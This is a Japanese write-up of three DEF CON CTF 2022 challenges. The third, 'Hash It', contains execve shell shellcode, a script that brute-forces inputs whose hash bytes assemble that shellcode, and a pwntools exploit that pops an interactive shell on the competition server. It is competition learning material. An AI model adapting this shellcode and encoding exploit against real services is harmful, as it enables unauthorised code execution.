DEF CON CTF 2022 writeup

Writer:b1uef0x / Webページ建造途中

概要

mic check問二つとquals問一つ分。過去2年のDEFCONでは惜しいところでflagが取れずじまいであったので、qualsの問題を解けたのは前進。

目次

mic check 1 (mic check)

ウォームアップ問題その1。サーバーに接続すると計算問題が降ってきて、短時間で計算結果を回答しなければいけない。

サーバーに接続した際の表示

高速計算が得意なら解けるかもしれないが、制限時間内に回答するのがしんどいので自動化する。setodaNote CTF deep_thoughtで作ったコードがそのまま使えそうなので、流用してソルバーを作成。

from pwn import *
  
io = remote("simple-service-c45xrrmhuc5su.shellweplayaga.me", 31337)
io.recvuntil("Ticket please: ")
io.sendline("ticket{*********************************************************************}")
#io.interactive()

st = io.recvuntil(" = ").decode('utf-8')
st = st[0:len(st)]
print(st)
fm = st.split(" ")
if fm[1]=="+" :
    res = int(fm[0])+int(fm[2])
else :
    res = int(fm[0])-int(fm[2])
print("res:" + str(res))
io.sendline(str(res).encode())
print(io.recvline())
print(io.recvline())
print(io.recvline())

ちなみにTicketは今回サーバー接続系の問題を解くために必要なコードで、チームごとに発行されている。

defconにこんな問題があることに違和感を覚えつつflagを取得。

flag取得時

same old (mic check)

Hack ___ planet!

Submit a string that complies with the following rules:

ウォームアップ問題その2。条件を満たす文字列を作る問題。サーバーとかには接続しない。

チーム名から始まる文字列のCRC32をとって別の文字列のCRC32と一致させればよい。一致させる文字列を読み解けず私には回答できなかったが、チームメンバーが解いてくれた。文字列はtheであった。

したがって、チーム名を******とすれば、CRC32(the) == CRC32(******~~~)となるような******~~~を探せばよい。これはhashcatで簡単に解ける。

hash.txtを用意して、中にはtheのCRC32である0x3c456de6を、3c456de6:00000000の形式で記入しておく。次のコマンドをhashcatに投げれば目的の文字列が手に入る。付与する文字列は適当に10文字としたが、42億通り以上の範囲があればいいのでもっと少なくてもできそう。

./hashcat -m 11500 -a 3 hash.txt '******?h?h?h?h?h?h?h?h?h?h'

Hash It (quals)

実行ファイルが配布され、サーバー上で当該ファイルが動作している。試しに接続しても、延々と文字入力ができるだけで何も返ってこない。Alarmがセットされており10秒経つとプログラムが終了する。

今回Ghidraではmain関数をうまく見つけられなかったため、IDA freeに読ませたmain関数が以下のものになる。

IDAによるブロック図

呼び出されている関数は0x13E0のものと0x1320の二つ。

0x13E0関数

0x13E0関数

0x13E0関数ではfreadを実行しており、gdbでデバッグしてみると標準入力を読み込んでいることがわかる。この関数はmain関数内で2回実行され、1回目は4byteの入力、2回目は2回目に入力した4byteを長さにした入力になる。なので例えば1回目でaaaaなどと入力すると2回目の入力は0x61616161byteを読み取ろうとするので、延々と文字入力ができるだけに見えるようになっている。

1回目の入力で\x00\x00\x00\x20などを入れて文字数を現実的な値にすると関数を先に進めることができる。

0x1320関数

0x1320関数

0x1320関数ではハッシュ値を計算していて、繰り返し呼び出される。gdbで順番に見ていくと、次のように4種類のハッシュ関数を順番に使用している。

Guessed arguments:
arg[0]: 0x55 ('U')
arg[1]: 0x55 ('U')
arg[2]: 0x7fffffffde1b --> 0xde3b400000002003 
arg[3]: 0x7ffff7a76db0 (<EVP_md5>:      lea    rax,[rip+0x338829]        # 0x7ffff7daf5e0)
Guessed arguments:
arg[0]: 0x55 ('U')
arg[1]: 0x55 ('U')
arg[2]: 0x7fffffffde1b --> 0xde3b400000002081 
arg[3]: 0x7ffff7a77510 (<EVP_sha1>:     lea    rax,[rip+0x338489]        # 0x7ffff7daf9a0)
Guessed arguments:
arg[0]: 0x55 ('U')
arg[1]: 0x55 ('U')
arg[2]: 0x7fffffffde1b --> 0xde3b4000000020ee 
arg[3]: 0x7ffff7a77530 (<EVP_sha256>:   lea    rax,[rip+0x3383a9]        # 0x7ffff7daf8e0)
Guessed arguments:
arg[0]: 0x55 ('U')
arg[1]: 0x55 ('U')
arg[2]: 0x7fffffffde1b --> 0xde3b400000002070 
arg[3]: 0x7ffff7a77570 (<EVP_sha512>:   lea    rax,[rip+0x3381e9]        # 0x7ffff7daf760)

ここではUUUUU...をたくさん入れたものだが、これらの結果は関数中のR12レジスタを見ていくと、0x83351a130761cf81、0x64a059aa0741a4ee、0xf86dc1bab41e8070、0xf6183d27cf78f003になっており、第一引数+第二引数のデータでハッシュ値を計算したものと一致する。2回目に入力した文字列を先頭から2文字ずつ使ってハッシュ値をとり、ハッシュ値の先頭1バイトだけを順番に記録するようになっている。

main関数はハッシュ値の計算後、mmapとmemcpyを実行している。mmapの引数にはproc 7が設定されるため、コード実行が可能になっている。続くmemcpyでは先程のハッシュ値の計算結果をmmapで確保したメモリー内にコピーし、call rcxでコピーしたデータを実行している。

したがって、ハッシュ値の先頭1バイトを組み合わせてシェルコードを組み立てることができれば、そのまま実行できそうだ。次のコードでシェルコードとなるような文字列を生成。

from pwn import *
import hashlib

shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05\x90"
encshellcode = b""
cycle = 0
def getHash(msg,c):
        cm = c % 4
        if cm==0:
                return hashlib.md5(msg).digest()[0]
        if cm==1:
                return hashlib.sha1(msg).digest()[0]    
        if cm==2:
                return hashlib.sha256(msg).digest()[0]
        if cm==3:
                return hashlib.sha512(msg).digest()[0]

for b in shellcode:
        flag = False
        for i in range(48,125):
                for j in range(48,125):
                        if getHash(i.to_bytes(1,'little')+j.to_bytes(1,'little'),cycle)==b:
                                encshellcode += i.to_bytes(1,'little')+j.to_bytes(1,'little')
                                flag = True
                                break
                if flag:
                        break   
        if flag==False :
                print("not found!!")
                break
        cycle += 1

print(len(encshellcode).to_bytes(4,'big'))
print(encshellcode)

1回目の入力で2回目の文字数を入力し、2回目でシェルコードを生成するハッシュ値の元となる文字列を入力する。これをgdbで次のようにrunに入力するとシェルを起動することができた。

run < <(python -c 'import os; os.write(1,b"\x00\x00\x008");os.write(1,b"5M720c2U6b2e0z6R6A4k;]4w9R0b2m0w2L0Z3I07=M2t1j1T0m0`0f3a");')
gdb上でのシェルコードの実行

ところが、実プロセス(vuln)に対して試してみるとSIGSEGVで終了してしまう。

実プロセスでのシェルコードの実行

gdbと実環境では条件が違うようだ。

そこで、実プロセスに対してgdb attach <プロセスID>を使って調べてみる。1回目の入力と2回目の入力の間に適当なsleepをかけてその間にgdbでアタッチする。

Guessed arguments:
arg[0]: 0xa ('\n')
arg[1]: 0x39 ('9')
arg[2]: 0x7fffffffde7b --> 0xde3b400000002e55 
arg[3]: 0x7ffff7a76db0 (<EVP_md5>:      lea    rax,[rip+0x338829]        # 0x7ffff7daf5e0)

適当な入力で最初のハッシュ計算の部分を見ると、1文字目に改行コードの\nが入っている。つまり1文字目が改行コードになっている文字列でシェルコードを組み立てる必要がある。

最終的なスクリプトは以下の通り。

from pwn import *
import hashlib

shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05\x90"
encshellcode = b""
cycle = 0
def getHash(msg,c):
        cm = c % 4
        if cm==0:
                return hashlib.md5(msg).digest()[0]
        if cm==1:
                return hashlib.sha1(msg).digest()[0]    
        if cm==2:
                return hashlib.sha256(msg).digest()[0]
        if cm==3:
                return hashlib.sha512(msg).digest()[0]

for b in shellcode:
        flag = False
        for i in range(48,125):
                if len(encshellcode)==0:
                        i = 0xa
                for j in range(0,255):
                        if getHash(i.to_bytes(1,'little')+j.to_bytes(1,'little'),cycle)==b:
                                encshellcode += i.to_bytes(1,'little')+j.to_bytes(1,'little')
                                flag = True
                                break
                if flag:
                        break   
        if flag==False :
                print("not found!!")
                break
        cycle += 1

encshellcode = encshellcode[1:]

print(len(encshellcode).to_bytes(4,'big'))
print(encshellcode)
print("--")

isOnline = 1
if isOnline==1:
        io = remote("hash-it-0-m7tt7b7whagjw.shellweplayaga.me", 31337)
        io.recvuntil("Ticket please: ")
        io.sendline("ticket{******************************************************}")
else:
        io = process("./vuln")

io.sendline(len(encshellcode).to_bytes(4,'big'))
io.sendline(encshellcode)
io.interactive()
シェル取得

無事サーバーに対してシェルを取ることができ、flag取得(10秒以内に手早く)。